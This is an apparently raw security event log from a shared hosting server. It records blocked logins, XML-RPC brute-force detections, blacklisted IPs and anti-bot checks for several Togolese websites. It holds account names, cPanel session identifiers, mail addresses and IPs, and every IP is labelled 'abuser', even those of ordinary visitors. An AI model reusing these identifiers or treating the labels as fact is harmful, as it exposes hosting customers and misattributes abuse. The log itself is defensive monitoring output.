domain: sia-togo.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Ajatovivi0883.sia-togo.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.84.253
country_id: 6252001
description:
[2026-06-20 15:02:28 +0000] info [cpaneld] 82.40.84.253 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.115
country_id: 3175395
description:
Jun 20 15:01:42 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 212.119.46.135
country_id: 294640
domain: sia-togo.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:Turbolte.sia-togo.tg||Method:blogger.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:15:04:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065256&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967869 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:04:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870743&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781967869 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.70.215
country_id: 1210997
domain: www.mesyscom.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mesyscom.com/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.70.215
country_id: 1210997
domain: www.mesyscom.comhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mesyscom.comhttp/www.mesyscom.com/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [20/Jun/2026:15:10:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660269&pdata=http%253A%252F%252Fwww.sotranetogo.com.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968249 HTTP/1.1" 302 0 www.sotranetogo.com.154-70-82-246.cpanel.site "http://www.sotranetogo.com.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:11:10 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:11:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.227.73.84
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/06/IMG-20210605-WA0000.jpg 921w, http:/togodailynews.tg/wp-content/uploads/2021/06/IMG-20210605-WA0000-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2021/06/IMG-20210605-WA0000-768x513.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2021/06/IMG-20210605-WA0000-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [20/Jun/2026:15:14:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117978&pdata=http%253A%252F%252Fsotranetogo.com.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968468 HTTP/1.1" 302 0 sotranetogo.com.154-70-82-246.cpanel.site "http://sotranetogo.com.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.70.234
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1574793273 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:15:15:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9749913&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968540 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:15:15:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301016&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968539 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:15:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039595&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968541 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.195.8.90
country_id: 3469034
description:
Jun 20 15:17:47 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.195.8.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.66
country_id: 933860
description:
Jun 20 15:17:57 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.49.95.30
country_id: 3469034
description:
Jun 20 15:18:02 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.49.95.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.60.205.184
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/04/Eau-potable.webp 790w, http:/togodailynews.tg/wp-content/uploads/2025/04/Eau-potable-300x180.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/04/Eau-potable-768x462.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.240
country_id: 2635167
description:
[2026-06-20 15:17:28 +0000] info [cpaneld] 5.230.133.240 NEW tqbcalqt:zEMMPTplvUcVW8RB address=5.230.133.240,app=cpaneld,creator=tqbcalqt,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.219
country_id: 2635167
description:
[2026-06-20 15:17:30 +0000] info [cpaneld] 5.230.153.219 NEW vuvwskxh:AL9nelO0jsRrBBKT address=5.230.153.219,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.25
country_id: 6252001
description:
Jun 20 15:17:39 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.86.17
country_id: 6252001
description:
[2026-06-20 15:18:51 +0000] info [cpaneld] 82.40.86.17 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.92.16
country_id: 6252001
description:
[2026-06-20 15:18:57 +0000] info [cpaneld] 82.40.92.16 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.215.178.2
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bien-etre-yoto-nest-plus-un-petit-village-isole/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.215.178.2
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/bien-etre-yoto-nest-plus-un-petit-village-isole/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.126.205
country_id: 6252001
description:
[2026-06-20 15:20:05 +0000] info [cpaneld] 82.40.126.205 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:19:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13132697&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968785 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.6.225
country_id: 6252001
description:
[2026-06-20 15:19:57 +0000] info [whostmgrd] 195.63.6.225 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.164.56.90
country_id: 6252001
description:
[2026-06-20 15:19:59 +0000] info [cpaneld] 23.164.56.90 - cloudetracks "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.143
country_id: 798544
description:
Jun 20 15:20:23 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.19.183
country_id: 2300660
description:
Jun 20 15:19:31 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.19.183 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:15:19:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9608045&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968784 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.40.88.180
country_id: 6252001
description:
[2026-06-20 15:19:57 +0000] info [cpaneld] 82.40.88.180 - camaegdtomgo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.106.30.154
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1075482036 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.130.159.141
country_id: 1522867
description:
2026-06-20 15:21:23 H=([188.130.159.141]) [188.130.159.141]:14084 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.143
country_id: 798544
description:
Jun 20 15:20:30 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.143 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.173.131
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:renforcement-du-systeme-educatif-le-gouvernement-recrute-4501-enseignants/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.81
country_id: 732800
description:
Jun 20 15:22:16 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.81 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.34.79.123
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1044838798 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.8
country_id: 3469034
description:
Jun 20 15:22:40 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.8 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 223.123.77.8
country_id: 1168579
description:
223.123.77.8 - - [20/Jun/2026:15:22:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7258985&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Framadan-en-cote-divoire%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968962 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ramadan-en-cote-divoire/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.4294.1143 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:223.123.77.8


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.42
country_id: 690791
description:
Jun 20 15:22:59 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.159.81
country_id: 732800
description:
Jun 20 15:22:29 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.159.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.124.2
country_id: 226074
description:
Jun 20 15:22:35 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.124.2 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.160.107
country_id: 2363686
description:
102.64.160.107 - - [20/Jun/2026:15:23:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7236242&pdata=https%253A%252F%252Fchuso.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781968978 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.160.107


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.169.98
country_id: 2363686
description:
[2026-06-20 15:23:07 +0000] info [cpaneld] 102.64.169.98 - uljcqiuy "GET /cpsess5772218405/frontend/jupiter/filemanager/editit.html?file=front_layout.php&fileop=&dir=%2Fhome%2Fuljcqiuy%2Fpublic_html%2FApp%2FViews&dirop=&charset=&file_charset=_DETECT_&baseurl=&basedir=&edit=1 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [102.64.175.56] != Current IP Address [102.64.169.98]


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:25:04 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:25:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 15:25:39 +0000] info [cpaneld] 102.54.238.57 - primuscourtiertg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user primuscourtiertg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.61.175.59
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/719751384 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.207.231.161
country_id: 2245662
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/02/NSCT-CHEQUE.jpg 1040w, http:/togodailynews.tg/wp-content/uploads/2024/02/NSCT-CHEQUE-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/02/NSCT-CHEQUE-1024x768.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/02/NSCT-CHEQUE-768x576.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.84.21.186
country_id: 798549
description:
Jun 20 15:28:58 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.84.21.186 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:15:30:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7193502&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781969444 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 193.202.81.55
country_id: 294640
domain: butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:DdWiN@CZ3v47.butodra.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:30:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9595025&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781969436 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:15:30:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13004489&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781969435 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.186.8.52
country_id: 798544
description:
Jun 20 15:30:38 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.186.8.52 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.148.251
country_id: 2363686
description:
2026-06-20 15:31:34 dovecot_login authenticator failed for H=(Yoga) [102.64.148.251]:60463: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 193.202.81.55
country_id: 294640
domain: butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:butodra.butodra.tg||Method:blogger.getUsersBlogs


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.40.30.9
country_id: 587116
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/62439747 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.18
country_id: 2395170
description:
Jun 20 15:33:10 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.18 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.16.218
country_id: 6251999
description:
[2026-06-20 15:32:41 +0000] info [whostmgrd] 195.63.16.218 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.153.199.101
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ad9ea4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:15:33:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9790310&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781969616 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:15:33:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961894&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781969611 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
